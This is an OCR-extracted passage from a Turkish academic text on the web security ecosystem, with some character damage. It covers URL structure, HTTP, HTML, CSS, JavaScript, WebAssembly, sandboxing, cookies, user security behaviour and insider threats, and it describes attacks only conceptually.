Opera

QQ browser
Sogou Explorer
Yandex Browser

UC Browser

«{B llendirme

CSS (28 3)

Blueprint
DSSSL

XL

Istemci tarafi
programlama dilleri

ve gergeveler

JavaScript

JQuery
Angularis
EmberJS
Dojo
ExtIS

Node js
React

Knockout

Backbone js
VBScript
TypeSeript
ActionScript
Java

Tarayici APlleri

NPAPI

Live Connect
XP Connect
NPRuntime
PPAPI

NaCl

ActiveX
BHO
XBAP

WebCL

WebGL

«{G renlik bilegenle

Politika ve prosedurler
Vasa ve yonetmelikler
Penetrasyon testleri
Logama
Sikilastrma

Guncellestirme ve yamalar

Microsoft intemet Explorer /| EDGE

Prototype & script.aculo.us

Web uygulama givenlik duvan

Guvenli yazilim geligtime metodolojieri

4 Kurum ve kuruluglar

Otoriteler
Onctler ve Liderler

Teknoloji gelistiriciler

Aktiistler ve hack guplan

OTP e iki faktorii dogrulama

Diizenleyici ve denetleyici kuruluslar

APT (Devet destekli olusumlar)

Ulusal veya bilgesel givenlik dlusumlan

Konfigiirasyonlar b—

Sunucu yaplandimalan

Web sunucu

Veri tabani sunucusu

Istemci yaplandimalan

Uygulama yapiandrmalan

Protokol yaplandrmalan

Sunucular I»

Web Sunucu

Apache

Microsot IS

Nainx

Google Web Senver (GWS)

OpenResty

Cloudifare Serer

Veri tabani Sunucu

MySaL
PostgreSQL

MongoDB

MssaL

Oracle

Web servisler i—

Web template
JSON-RPC
JSON-WSP
WSDL
WSCL
WSFL
WS-MetadataExchange
XNS
RESTH v5.S0AP

APller

NSAPIC

ASAPIC
ISAPI
COMASP
Jakarta Sendst
CLI OWIN
ASPNET Hander
Python WSGI
Ruby Rack
JavaScript JSGI
Perl PSGI
Lua WSAPI

Portlet

Open API

«‘G ler

Uygulama gelistiriciler

Protekel gelistiriciler

Web teknolojisi gelistiriciler

Sunucu yazilmi gelistiriciler

Zafiyet araci gelistirciler

—‘ Veri de: formatlari

JSON

XML
GML
csv

Apache Parquet
YAML

REBOL
GMT

INTERLIS

«‘ Uygulamalar

Igerik Yonatim Sistemleri

Wordpress

Joomla

Drupal
Dokiman Yonetim Sistemleri
Bilg Vénetim Sistemleri
Ogrenme Yonetim Sistemleri
E-Ticaret Siteleri

Hosting Yonetim Yaziimian
Sosyal medya platformian

Web portallan

«‘ Arama motorla

Google
Yandex
Yahoo

Bing
DuckDuckGo

Shodan

Censys
GreyNoise
ZoomEye
Hunter
WIGLE
PublicWWW
HavelBeenPwned

L

Reposify

Sekil 2.1: Web Giivenligi Ekosistemi Bilegenleri

Bulut uygulamalan (SAAS. PAAS, b.)
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yetkili ve anonim kullanicilar arasindaki ayrim daha siki bir sekilde ayrilmistir ve bu da
giivenligin uygulanmasini kolaylastirir. Ulasamayacaginiz ve konusamadiginiz bir sisteme
girmek zordur. Karma bir web ortaminda, iletisim kanallar1 hem miisterilere hem de

saldirilara agiktir.

Bir sistemi kirmak i¢in, el is¢iligi ile Assembly kodunu analiz edip degistirmek, cogu
insan igin bir web tarayicisi istegini degistirmekten cok daha zordur. Ote yandan, bir
web uygulamasina saldirmak, muhtemelen magdurun bulundugu siteye aktif bir iletisim
hatt1 gerektirir - ayrica bu da takip edilecek bir denetim izi birakir. Bu izi gizlemek icin
yaygin olarak kullanilan yontemler; The Onion Router (TOR) veya benzeri bir vekil sunucu
kullanarak istegi ve istemciyi anonimlestirmek veya sahte IP adresleri ile sisteme erismeye

calismak (IP spoofing) olabilir.

Bir web uygulamasi, cok sayida teknolojinin bir karisimidir: Normal bir web
uygulamasi, genellikle istemci tarafinda HTTP, HTML, CSS ve JavaScript gibi teknolojiler
icerirken, SQL ve diger cesitli programlama dilleri ise sunucu tarafindaki isleri gergeklestirir.
Ayrica web uygulamalarinda kullanilan teknolojiler, diller ve cergeveler siirekli olarak
degismekte ve gelismektedir. Islenmekte olan verilerin, icinden gececegi tiim katmanlar
icin tahribatsiz oldugundan emin olmak zor olabilir. Baz1 veri parcalarinin bir katman i¢in
(6rn.; SQL) “sadece bazi metinler” olabilmesi nedeniyle, bagka bir katmanda (istemciye
giden HTML karisimina konuldugunda) 6liimciil bir kod haline gelebilir ve bu da saldirgan

tarafindan istismar edilerek kurban i¢in {iziicii bir sonuca neden olabilir.

Web uygulamalar1 olusturmaya baslamak icin diisiik giris seviyesi bilgi yeterlidir:
Bugiin sahip oldugumuz gelistirme aracglar1 ve A¢ik Kaynak hareketi ile web uygulamalari
yazmaya baslamak oldukca kolaydir. Onceden olusturulmus bir web sunucusu ve komut/kod
dosyas1 yi1gimm kurup birka¢ dakika i¢cinde cok sayidaki ornekten kod kopyala-yapistir
yapmaya hazir olmak miimkiindiir. Giivenlik agiklari, muhtemelen yeni teknolojileri
ogrenmeye calisirken insanlarin diisiindiigii ilk sey degildir. Boylece bir giivenlik zafiyetinin

bir yerden bagka bir yere tasinmasi veya yayilmasi oldukc¢a kolaydir.

Yenilik yapmak icin acele edilmesi: Bugiin diinya hizla calisirken, maddi ve manevi iyi
kazandirabilecek bir fikir icin hizli hareket etmek gerekir. Eger hizli hareket edilemezse,
muhtemelen bir bagkasi daha hizli hareket edecektir. Bu durum, insanlarin isleri gercekten

giivenli hale getirmek i¢in fazladan zaman harcamayacaklari, ancak “yeterince giivenli” veya
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hatta “Biri neden bize zarar vermeye ¢aligsin?” diyecebilecekleri anlamina gelir.

Egitimsizlik ve farkindalik eksikligi: Bugiiniin egitimi, isleri giivenli bir sekilde yapmaya
odaklanmaz, bunun yerine, ¢ogunlukla tiim girdilerin beklenen semay1 takip ettigini
varsayarken, bunun yerine iglevsellige ve taleplere iligkin “gercek sorunlar’” ¢ézmek icin

gereken temel algoritmalara odaklanilir.

Web ekosisteminde bir¢ok bilesen bulunmakla birlikte bu bilesenler iki ana baglik altinda

gruplanarak incelenebilir.

2.1.1. Web’de yayimlama icin kullanilan teknolojiler

Web’de yayimlama (webification) i¢in istemci, sunucu ve ag tarafinda bir¢ok farkli
teknoloji birlikte kullanilmaktadir. Her zaman siber giivenligin bir zincir oldugu ve tim
zincirin giivenlik seviyesinin en zayif halka kadar olacagi sdylendiginden kullanilan bu

teknolojilerden herhangi birinde ortaya cikan zafiyet tiim sistemi tehlikeye atmaktadir.

Modern web ve mobil platformlar, gelisimleriyle birlikte bagka bir fenomeni de beraberinde
dogurdu. Uygulamalarin ¢cogu, Java veya Kotlin ve C/C++ (6rn.; Android uygulamalari
icin) veya Objective-C ve Swift (6rn.; IOS uygulamalari i¢in) gibi derlenmis programlama
dillerinde yazilmis yerel uygulamalar degildir. Bunun yerine, sunucu tarafi Python, Ruby,
Java veya JavaScript komut dosyalar1 ve istemci tarafi JavaScript dahil olmak iizere
cok farkli web teknolojilerine dayalidirlar (Zalewski, 2011). Normal web tarayicilarini
hedefleyen geleneksel web uygulamalarina ek olarak, mobil web uygulamalar1 bu web
teknolojileri kullanilarak daha sik olusturulur. Ozellikle mobil web uygulamalarina dayali
gelistirilmis uygulama marketlerindeki bircok uygulama JavaScript dilini yogun bir sekilde
kullanir. Dolayisiyla bu tiir uygulamalarin da web teknolojilerini hedef alan saldirilardan

etkilenebilecegini sdylemek yanlis olmaz.

Bu boliim, daha sonraki boliimlerde ele alinacak olan giivenlik agiklarini ve bu giivenlik
aciklarim1 azaltmak icin yapilabilecekleri agiklamak amaciyla, en 6nemli teknoloji alt

bilesenleri i¢in ihtiyag¢ olabilecek kisa bir girig saglar.
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2.1.1.1. Uniform Resource Locator (URL)

Birdrnek Kaynak Konumlayici veya Tekdiizen Kaynak Bulucu olarak Tiirkgelestirilebilecek
URL’ler, web teknolojileri kullanilarak iceri§in yayimlanmasinda temel bir kavramdir
(Berners-Lee, Masinter ve McCahill, 1994). Bir URL, herhangi bir sunucudaki herhangi bir
kaynagi adresleyen ve tanimlayan iyi bicimlendirilmis ve tam nitelikli bir metin dizesidir.
Modern tarayicilarin Kullanici arabirimlerindeki adres cubuklari, sunulmus bir belgenin
uzak adresini gostermek icin URL’leri kullanir. Tam nitelikli bir mutlak URL dizisi birkag
boliimden olugur ve belirli bir kaynaga erigsmek icin gerekli tiim bilgileri igerir. Mutlak bir
URL’nin s6z dizimi sOyledir: sema://<kimlik bilgileri>@<ana bilgisayar adresi>:<baglanti
noktasi>/<kaynak yolu>?<sorgu parametreleri>#parca. Tablo 2.1’den goriilebilecegi gibi

her boliimiin belirli bir anlam1 vardir.

2.1.1.2. Hypertext Transfer Protocol (HTTP)

Hiper Metin Aktarma Iletisim Kurali, web iizerindeki sunucular ve istemciler arasinda belge
aligverisi yapmak i¢in en yaygin kullanilan mekanizma olup web’in temelini olusturdugu
sOylenebilir. HTTP cogunlukla HTML belgelerini aktarmak i¢in kullanilirken, herhangi bir
veri i¢in de kullanilabilir. HTTP/2.0 (Belshe, Peon ve Thomson, 2015) en yeni protokol
revizyonu olmasina ragmen, en yaygin olarak desteklenen protokol siirtiimii HTTP/1.1°dir
(Fielding ve dig., 1999). HTTP, TCP/IP kullanan metin tabanli bir protokoldiir. HTTP
istemcisi, bir HTTP sunucusuna HTTP istegi gondererek bir oturum baglatir. Sunucu, istenen

dosyayi da icerecek sekilde iletisim kuralina uygun bir HTTP yanit1 dondiiriir.

Bir istemci isteginin ilk satiri, HTTP siiriim bilgilerini igerir (6rn.; HTTP/1.1). Kalan istek
baghig1 sifir veya daha fazla ad:deger c¢iftinden olusur. Ciftler yeni bir satirla ayrilir. Ortak
istek basliklar1, Kullanici-Aracisi (User-Agent)’dir. Bunlar; tarayici bilgileri, Ana bilgisayar
(Host) -URL ana bilgisayar adi, Kabul (Accept) -desteklenen tiim belge tiirlerini tagir,
Icerik-Uzunlugu (Content-Length) -tiim talebin uzunlugu ve Cerez (Cookie) gibi bilgileri
icerir. Istek baghig, tek bir bos satirla sonlandirilir. HTTP istemcileri, herhangi bir ek igerigi
sunucuya iletebilir. Igerik herhangi bir tiirde olabilse de, istemciler genellikle sunucuya
HTML icerigi gonderir, ornegin form verilerini gondermek icin. HTTP sunucusu, istege
bir yanit baghgiyla ve ardindan istenen igerikle yanit verir. Yanit bashgi sunlar icerir:

desteklenen protokol siiriimii, sayisal bir durum kodu ve istege bagli, insan tarafindan
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Tablo 2.1: URL’nin boliimleri

Boliim

Istege
bagh

Aciklama

sema

Hayir

Bir web istemcisinin bir kaynagi almak icin kullanmasi
gereken protokolii belirtir. Web’deki yaygin protokoller
“http:” ve “https:”dir.

1/

Hayir

RFC’nin gerektirdigi sekilde hiyerarsik bir URL belirtir.
(Berners-Lee, Masinter ve McCahill, 1994)

<kimlik bilgileri>@

Evet

Uzak bir sunucudan ilgili kaynagi almak i¢in gerekli
olabilecek bir kullanic1 ad1 ve parola icerebilir. Kullanima,
<kullanici adi>:<sifre>@ seklindedir.

<ana bilgisayar adresi>

Hayir

Biiyiik/kiiciik harf duyarli olmayan DNS, yani alan adi
(6rn.; istanbul.edu.tr), ham IPv4 (6rn.; 194.27.128.98) veya
IPv6 adresi (6rn.; [2a01:358:4014:1400::125]) seklinde
kaynag1 barindiran sunucunun bulunmasinmi saglayan tekil
adresi yani ayirdedicisidir.

:<baglant1 noktasi>

Evet

Uzak bir sunucuya baglanmak i¢in varsayilan olmayan
bir ag baglanti noktasi numarasint belirtir. Varsayilan
baglanti noktalar1 HTTP icin 80 ve HTTPS icin 443’tiir.
Bu baglanti noktalar1 varsayilan oldugundan URL’de ayrica
belirtilmesine gerek olmaz.

/<kaynak yolu>

Hayir

Uzak bir sunucudaki kaynak adresini tanimlar. Kaynak yolu
bicimi, Unix dizin semantikinin {izerine inga edilmistir.
Ilgili kaynagin sunucudaki yerel dizin ve klasor yapis gibi
diistiniilebilir.

?<sorgu parametreleri>

Evet

Hiyerarsik olmayan parametreleri uzak bir kaynaga iletir,
Oorne8in sunucu tarafi komut dosyasi girdi parametreleri
gibi.

#parca

Evet

Tarayic1 i¢in talimatlar saglar. Uygulamada, belge ici
gezinme i¢in bir HTML baglant1 6gesini ele almak amaciyla
kullanilir.

okunabilir bir durum mesaji. Durum bildirimi, talebin basarili oldugunu belirtmek igin

kullanilir (6rn.; Durum 200), hata kosullar1 (6rn.; Durum 404 veya 500) veya diger istisnai

olaylar ifade eder. Yanut iist-bilgileri Cerez bagliklar: da icerebilir. Ek yanit baglik satirlari

istege baglidir. Baglik, tek bir bos satirla biter ve bunu takip eden asil icerik istenen kaynaktir.

Istek icerigine benzer sekilde, icerik herhangi bir tiirde olabilir ancak genellikle bir HTML

belgesi bicimindedir.

Cerezler, orijinal HTTP RFC’nin (Fielding ve dig., 1999) parcast olmasalar da, en 6nemli

protokol uzantilarindan biridir. Tanimlama bilgileri, uzak sunucularin istemci depolamasinda

birden cok ad=deger cifti depolamasina izin verir. Sunucular, bir Set-Cookie: ad=deger
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yanit baghg1 gondererek cerezleri ayarlayabilir ve bir istemcinin Cookie: ad=deger istek
bagligin1 okuyarak bunlart tiikketebilir. Cerezler, istemciler ve sunucular arasindaki oturumlari
siirdiirmek ve kullanicilarin kimligini dogrulamak i¢in yogun olarak kullanilan popiiler bir

mekanizmadir.

HTTP, istek yanmit1 tabanlidir ve tek yonlii veri aktarimi kullanim durumlarina tam olarak
uyar. Ancak, daha iyi gecikme siiresi ve bant genisliginin daha etkili kullanimi i¢in ¢ift yonlii
ag baglantilarina ihtiya¢ vardir. Cift yonlii baglantilar, istemcilerin yalnizca sunucudan veri
cekmesine izin vermekle kalmaz, ayn1 zamanda sunucunun herhangi bir zamanda istemciye
veri gondermesini saglar. Bu nedenle, WebSocket protokolii (Fette ve Melnikov, 2011)
HTTP’nin iizerinde bir mekanizma saglar. WebSocket baglantilari, bir Upgrade: WebSocket
baglig1 iceren normal bir HTTP istegiyle baglar. WebSocket anlasmasi tamamlandiktan sonra,
her iki taraf da herhangi bir zamanda yeni bir anlasma yapmak zorunda kalmadan veri

gonderebilir.

2.1.1.3. Hpypertext Markup Language (HTML)

Hiper Metin Isaretleme Dili (W3C, 2017), web iizerinde belge iiretmek ve tiiketmek icin
en yaygin kullanilan yontemdir. En yeni siirim HTMLS’tir. HTML s6z dizimi olduk¢a
basittir: etiketlerin hiyerarsik agac yapisi, ad=deger etiketi parametreleri ve metin diigtimleri
bir HTML belgesi olusturur. Etki Alan1 Nesne Modeli (DOM: Domain Object Model),
bir HTML belgesinin mantiksal yapisin1 tanimlar ve ona nasil erisilip degistirilecegini
belirler. Bununla birlikte, rakip web tarayicisi iireticileri her tiirlii kendine 6zel 6zelligi
tanitarak HTML dilini kendi isteklerine gore degistirdi. Bir¢ok farkl iretici ve farkli tarayici
uygulamasi, Internet iizerindeki web sitelerinin yalmzca kiiiik bir kisminin HTML standart
s0z dizimine bagli kalmasiyla sonuclandi. Bu nedenle, HTML ayristirma modlar1 ve hata

kurtarma uygulamalari, farkli tarayicilar arasinda biiyiik olciide farklilik gosterir.

HTML so6z dizimi, bir parametre degerine veya bir metin diiflimiine nelerin dahil
edilebilecegine dair bazi kisitlamalarla birlikte gelir. Bazi karakterler (6rn.; koseli
parantezler, tek ve c¢ift tirnaklar ile & isaretleri) HTML bicimlendirmesinin bloklarini
olusturur. Bir metnin alt dizelerinin boliimleri gibi farkli bir amac icin kullanildiklarinda,
kaciglar1 gerekir. Istenmeyen yan etkileri onlemek icin HTML, bir varlik kodlama
semasi1 saglar. Bununla birlikte, kullanic1 tarafindan kontrol edilen bilgileri goriintiilerken,

kodlamanin ayrilmis karakterlere diizgiin sekilde uygulanmamasi, siteler arast komut dosyasi
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olusturma (XSS) gibi ciddi Web giivenlik kusurlarina yol acabilir.

2.1.1.4. Cascading Style Sheets (CSS)

Basamakl Stil Sayfalar1 (Leung, 2019), HTML belgelerinin goriiniimiinii de8istirmek i¢in
tutarli ve esnek bir mekanizmadir. CSS’nin birincil amaci, bir¢cok tutarsizlifa yol acan
tireticiye (tarayiciya) 6zgii bircok HTML etiket parametresinin yerini alacak basit ve sade
bir metin tabanl aciklama dili saglamakti. Ancak, farklit HTML ayristirma uygulamalarina
benzer sekilde, farkli tarayicilar da farkli CSS ayrnistirma davranmislari uygular. CSS,
HTML etiketlerinin orijinal HTML bicimlendirme kisitlamalariyla smirlandirilmadan
Olceklenmesine, konumlandirilmasina veya donatilmasina olanak tanmir. HTML etiket
degerlerine benzer sekilde, CSS icindeki degerler kullanic1 tarafindan kontrol edilebilir veya
harici bir dosya veya kaynak adresten saglanabilir, bu da CSS’yi web giivenligi i¢in bir risk

ve ¢ok onemli bir unsur haline getirir.

2.1.1.5. JavaScript

JavaScript (Ecma International, 2021), web icin basit ama giiclii bir nesne yoOnelimli
programlama dilidir. Hem web tarayicilarinda yani istemci tarafinda hem de web
uygulamalarinin bir parcast olarak sunucu tarafinda caligir. Dil, calisma zamaninda
yorumlanmalidir ve C’den esinlenen bir soz dizimine sahiptir. JavaScript, simifsiz bir
nesne modelini destekler, otomatik kotii girdileri temizleme (garbage collection) ve zayif
ve dinamik yazim saglar. Istemci tarafi JavaScript, kullanima hazir G/C mekanizmalarini
desteklemez. Bunun yerine, 6nceden tanimlanmig sinirl bazi arayiizler, tarayicinin igindeki
yerel kod tarafindan saglanir. Sunucu tarafi JavaScript (6rn.; Node.js (OpenJS Foundation,
2021)), ag ve dosya erisimi gibi cok cesitli G/C mekanizmalarin1 destekler. Bu ¢alismadaki
temel tartisma, web tarayicilarindaki istemci JavaScript’ine odaklanacaktir. Bir tarayicidaki
her HTML belgesine JavaScript yiiriitme baglamu verilir. Bir belge baglamindaki tiim komut
dosyalari, ayn1 sanal alam1 paylasir. Komut dosyalar1 arasindaki baglamlar arasi iletisim,
tarayiciya 0zgii API’ler araciligiyla desteklenir. Bununla birlikte, yiiriitme baglamlar1 genel
olarak birbirinden kesinlikle izole edilmistir. Bir baglamdaki tiim JavaScript bloklari, ayri

ayr1 ve 1yi tanimlanmig bir sirayla yiiriitiilir. Komut dosyasi igleme ii¢ asamadan olusur:

1. Aynistirma (Parsing), kod s6z dizimini dogrular ve performans nedenleriyle onu bir

ara ikili gosterime cevirir. Coziimleme tamamlanana kadar kodun higbir etkisi yoktur.



18

S0z dizimi hatalar olan bloklar dikkate alinmaz ve sonraki blok ayristirilir.

2. Islev Coziiniirliigii (Function Resolution), ayristiricinin bir blokta buldugu tiim
adlandirilmig, global fonksiyonlari kaydeder. Tiim kayithh fonksiyonlara miiteakip

koddan ulagilabilir.

3. Yiiriitme (Execution), tiim kod deyimlerini islev bloklarinin diginda ¢aligtirir. Ancak,

istisnalar yine de yiiriitme hatalarina neden olabilir.

JavaScript cok giiclii ve zarif bir betik dili olmasina ragmen, yeni zorluklar ve Siteler Arasi

Betik Calistirma (XSS) zafiyeti gibi giivenlik sorunlarini ortaya ¢ikarir.

2.1.1.6. WebAssembly

WebAssembly (Wasm) (W3C Community Group, 2021) verimli ve hizli bir ikili yonerge
bicimidir ve ¢ogu modern tarayici iireticisi tarafindan desteklenir. Yi8in tabanli bir sanal
makine dilidir ve esas olarak istemci makinelerde, yerel hizda calistirmay1 hedefler.
WebAssembly ile yazilan kod, bellek agisindan giivenlidir ve bir web sitesiyle iligkili
normal kod tarafindan saglanan tiim giivenlik 6zelliklerinden yararlanir. WebAssembly kodu
korumali alandadir (sandboxed), ayn1 kaynak politikasin1 uygular ve ilgili web sitesinin
izinleri tarafindan saglanan kaynaklarla sinirlidir. Ek olarak, WebAssembly kodu ayni
kaynak kapsayicida calisan JavaScript koduna erisebilir ve islevselligini aym1 kaynaktan

JavaScript koduna saglayabilir.

2.1.1.7. Kum havuzu

Hem modern mobil igletim sistemleri hem de tarayici platformlari, uygulamalari,
web sitelerini ve igeriklerini birbirinden ayirmak icin farkli kum havuzu (sandboxing)
tekniklerinden yararlanir (Barth ve dig., 2008; Wang ve dig., 2009). Bu ayn1 zamanda
platformu kotii niyetli uygulamalara ve sitelere kars1 korumay1 da amaglamaktadir. Baglica
web tarayicilari (6rn.; Google Chrome (Google, 2019)) ve mobil platformlar (6rn.; Android
(Android Development Team, 2019)), isletim sistemi islem diizeyinde bir yalitim uygular.
Her uygulama veya web sitesi kendi siirecinde calisir.! Varsayilan olarak, yalitilmis islemler
birbiriyle etkilesime giremez ve kaynaklar1 paylasamaz. Tarayicilarda site izolasyonu, ayni

menge politikasinin bir uzantisi olarak ikinci bir savunma hatt1 gorevi goriir.

1 jslem tabanli site izolasyonu ¢ogunlukla masaiistii bilgisayarlarda kullanilir. (Android Development Team, 2019)
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2.1.1.8. C(Cerezler

Web sunuculari, HTTP tanimlama bilgilerini yani cerezleri (cookie) kullanarak belirli
istemcilerle durum bilgisini iligkilendirebilir (Barth, 2011). Cerez bilgileri (6rn.; bir
cevrim i¢i magazada aligveris sepetine eklenen dgelerin IDleri) istemci tarafindan saklanir.
Tanimlama bilgileri, istemcilerin ve sunucularin, her HTTP istek yamitina kendi benzersiz
oturum tanimlayicilarini dahil etmelerine izin vererek, yinelenen kimlik dogrulama
ihtiyacini ortadan kaldirir. Oturum ¢erezleri, oturum kapatildiginda (6rn.; kullanici tarayiciy1
kapattiginda) sona erer, ancak kalic1 gerezler yalnizca belirli bir siire sonra gecerliligini

yitirir.

Tanimlama bilgisi tabanl kimlik dogrulama, istemcilerin sunucuya gecerli bir tanimlama
bilgisi ile her istek gonderdiklerinde oturumlar1 yeniden kurmalarina olanak tanir. Cerez
tabanli oturum yOnetimi, oturum tanimlayicilarinin ele gecirilmesine karsi savunmasizdir
(Calzavara ve dig., 2017). Gegerli oturum tanimlama bilgileri gonderen saldirganlar,
kimligi dogrulanmig kurbanin ayricaliklarina sahip bir sekilde saldiriya ugrayan sunucuya

baglanabilir.

Cerezler ayrica, saglayicilara gore kullanicilart birden ¢ok oturumda izlemek igin de

kullanilabilir. Bu davranig genellikle kullanict gizliligini tehlikeye atmaktadir.

Yukarida sayilan teknolojiye dair temel web dgelerinin haricinde; sunucu tarafi programlama
dilleri (PHP, ASP, JSP, vb.), istemci-sunucu veya sunucu-sunucu arasi veri degisim formatlari
(JSON, XML, vb.), web servisleri ve API’leri, web yayimlamay1 saglayan diger protokoller,
arama motorlari, sunucu igletim sistemleri ve sunucu yazilimlari, uygulamalar, tarayicilar ve
giivenlik bilesenleri (WAF, IDS/IPS, Kimlik dogrulama, vb.) gibi web teknolojileri altinda

ele alinabilecek diger bircok 6geden de bahsetmek miimkiindiir.

2.1.2. Insan ve siirec ile iliskili faktorler

Insan, cofu zaman siber giivenlikteki en zayif halka olarak tamimlanir, ¢iinkii herhangi
bir teknik giivenlik ¢6ziimii hala insan davramiglarindan ve hatasindan kaynaklanan
arizalara egilimlidir. Bu nedenle, kullanicilari ve giivenlik davraniglarim etkileyen faktorleri
daha iyi anlamaya c¢alisan Oonemli miktarda aragtirma vardir. Birka¢ arastirmaci, zayif

giivenlik uygulamalar1 ve kimlik avi veya sosyal miihendislik gibi siber suclarin kurbani
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olma olasihi@imin artmasiyla iligkili olan insan Ozelliklerinde farkliliklar tespit etmis
olsa da, bu alandaki calismalar hala sinirhidir (Egelman ve Peer, 2015). Kullanicilarin
bireysel farkliliklarinin siber giivenlik davranis niyetlerini nasil etkiledigini anlamak,
arastirmacilarin, giivenlik uygulayicilarinin ve kuruluglarin zayif veya potansiyel olarak
tehlikeli giivenlik uygulamalarina daha duyarli olan kullanicilart belirlemelerine yardimci
olmak acisindan kritiktir. Bu tiir icgoriiler, uygulayicilarin hedeflenen egitim cabalarini
gelistirmelerine ve toplumda genel siber giivenlik icin en biiyiik zorluk tegkil eden husus

olan kullanic1 farkindaliina hitap etmeye odaklanmalarina yardimei olabilir.

Egelman ve Peer (2015), yaptiklar1 calismada kullanici giivenlik davranigi niyetlerini 6l¢cmek
icin SeBIS olgegini gelistirdi. Internet servis saglayicilari, Amerika Birlesik Devletleri
Bilgisayar Hazirlik ve Giivenlik Ekibi (US-CERT), endiistri konsorsiyumlar1 ve bilgisayar
giivenligi uzman geri bildirimlerinden tiiretilen 30 potansiyel son kullanic1 davranigi ile
bagladilar. Birlesik Devletler niifusunun temsili bir ornegi tizerinde yapilan bir dizi anket
ve kapsamli korelasyon analizi ile giivenilirlik testi aracilifiyla, son dlgek dort giivenlik
davranigini 6lcen bir dizi soruyla sonuglandi: cihaz giivenligi, sifre/parola olusturma, proaktif
farkindalik ve giincelleme egilimi. Bu dort davranig, anketteki maddelerden ortaya ¢ikan ve

kullanic1 yanitlarindaki varyanst onemli 6l¢iide tahmin eden dort farkli temaya dayaniyordu.

Cihaz Giivenligi, cihazlan kilitlemek icin PIN ve sifrelerin kullanilmasi, otomatik cihaz
veya ekran kilitleme ayarlarin yapilmasi ve cihazlarin gozetimsiz birakilmadan Once
manuel olarak giivenli hale getirilmesi konularin1 kapsar. Sifre/Parola Olusturma, giicli
parolalarin secilmesi ve farkli hesaplar arasinda ayni parolalarin yeniden kullanilmamasi,
farkli parolalarin belirlenmesini kapsar. Proaktif Farkindalik, web sitelerindeki veya e-posta
mesajlarindaki URL cubugu veya diger tarayici gostergeleri gibi baglamsal ipuclarina
dikkat etmeyi, web sitelerine bilgi gonderirken dikkatli olmay1 ve giivenlik olaylarini
yetkili mercilere bildirirken proaktif olmay: ifade eder. Son olarak, Giincelleme egilimi,
kullanicilarin siirekli olarak giivenlik yamalarini ne dlciide uyguladiklarini veya bagka bir

sekilde yazilimlarini ne dlciide giincel tuttuklarini dlger.

Yapilan calismalarda, demografik faktorler (Darkish, El Zarka ve Aloul, 2012; Whitty
ve dig., 2015), kisilik ozellikleri (Halevi, Lewis ve Memon, 2013; Riquelme ve Roman,
2014), risk alma tercihleri (Sheng ve dig., 2010) ve karar verme tarzlar1 (Leach, 2003; Ng,
Kankanhalli ve Xu, 2009) gibi bireysel farkliliklarin, bahsi gecen dort giivenlik davranigini
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onemli Olciide etkiledigi goriilmiistiir.

Insan faktorii, sistemleri kullanan mesru istemciler olarak ele alinabilecegi gibi en biiyiik
tehdit unsurlarindan biri olan art niyetli calisanlar ve saldirganlar olarak da ele alinip

incelenmesi gereken ogelerdir.

Kuruluslar genellikle disaridan gelen siber tehditlere odaklanir. Oysa dahili siber saldirilar,
bircok insanin sandigindan daha yaygindir ve bu gercegi gérmezden gelmek kuruluslarin
siber giivenlik riskini artirmaktir. Aga yonelik iceriden gelen tehditler, genellikle sirket
calisanlar1 veya yiiklenicileri olarak calisan kisilerden gelir. Bu kisiler, organizasyonun
bir parcasidir ve genellikle aglarda kullanici hesaplar1 vardir. Kurulus hakkinda disaridan
kimselerin bilmedigi seyleri de bilebilirler -ag yoneticisinin adi, hangi 6zel uygulamalarin
kullanildig1, ne tiir ag yapilandirmasina sahip olundugu, hangi iireticilerle calisildigr gibi.
Disaridan gelen siber saldirganlarin genellikle ag parmak izini almasi (fingerprinting),
kurulugla ilgili bilgileri arastirmasi, ¢alisanlardan sosyal miihendislikle hassas verileri elde
etmesi, herhangi bir kullanic1 hesabina, en az ayricalifa sahip olsalar bile, kotii niyetli
erisim elde etmesi gerekir. Dolayisiyla, dahili saldirganlarin zaten harici saldirganlarin sahip

olmadig1 bir¢ok avantajlar1 vardir.

Ayrica, iceriden gelen bazi tehditler kotii niyetli kisilerden gelmez. Igeriden gelen bazi
tehditler tamamen rastlantisaldir. Belki bir ¢alisan, yanliglikla bir restoranin tuvaletinde sirket
icin hassas belgelerle dolu bir USB flash siiriicii diisiirebilir veya aga kotiiciil yazilimlar
indiren kotii amagh bir web baglantisina tiklayabilir. Ponemon Enstitiisii’niin Nisan 2018
Iceriden Ogrenen Tehditlerin Maliyeti arastirmasma gore, iceriden gelen tehdit olaylart
anket yaptiklar1 159 kurulusa yilda ortalama 8,76 milyon dolara mal olmustur. Icerideki
kotii niyetli tehditler, iceriden yanhiglikla gelen tehditlerden daha pahaliya mal olmaktadir.
Giivenligi ihmal eden calisanlarin veya yiiklenicilerin neden oldugu olaylarin her biri,
ortalama 283,281 dolara mal olurken, igceriden kotii niyetli olarak yapilan bilgi hirsizligi,
olay bagma ortalama 648,845 dolara mal olmaktadir (Ponemon Institute, 2018). Sonug
olarak, tiim bu olaylar hem maddi hem de manevi ¢ok pahali sonuglara sebep olmaktadir

ve Onlenmesi gerekir.
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2.1.2.1. Gelistiriciler

Gelistirici toplulugu, son kullanici tarafinda kullamilan web uygulama ve servislerini
tasarlayan, iireten ve kodlayan profesyonel veya amator kisiler, web’de yayimlama icin
gerekli olan teknolojileri iiretenler, tiim bu teknolojilerin zafiyetlerini ortaya ¢ikaran ve
bunlari istismar etmek {izere cesitli istismar araglar1 gelistiren kotii niyetli kisiler ve hatta
tyileri kotiilerden koruyabilmek i¢in ¢esitli yazilimsal ve/veya donanimsal giivenlik araglari

geligtiren giivenlik sektoriindeki kisiler olarak oldukga genis bir yelpazede diisiiniilebilir.

Web uygulamalarina yonelik saldirilar, bir kurulugun giivenliine yonelik en biiyiik tehdit
olarak goriinmektedir (WhiteHat Security Inc., 2019) Kétii kodlanmis veya yapilandirilmis
yazilim sistemleri, giivenlik zayifliina ve kusurlarina neden olabilir, bu da genellikle kotii
niyetli kullanicilar tarafindan istismar edilebilen ve bir veya daha fazla yazilim giivenlik

ozelligini ihlal eden giivenlik aciklarina neden olabilir.

Yazilimin giivensizligi genellikle giivenlik konusundaki ihmallerden, yazilim miihendisligi
stirecindeki kusurlardan, giivenli yazilim gelistirme ile ilgili yetersiz bilgi ve anlayistan
kaynaklanir. Giivenlik, yazilim gelistirme siirecinin on ¢aligma agamasindan baglay1p yazilim
kullanimda oldugunda sona eren tiim miihendislik siireci boyunca siirece dahil edilmelidir.
Bununla birlikte, yazilim gelistiricileri, giivenlik a¢i1g1 sorunlarini tespit etmek ve ¢ozmek
icin yaygin olarak “penetrasyon ve yamalama” yaklasimini uygular, ancak sorunun kok
nedeni genellikle goz ardi edilir (Viega ve McGraw, 2002). Bu da yeni ve belki de daha

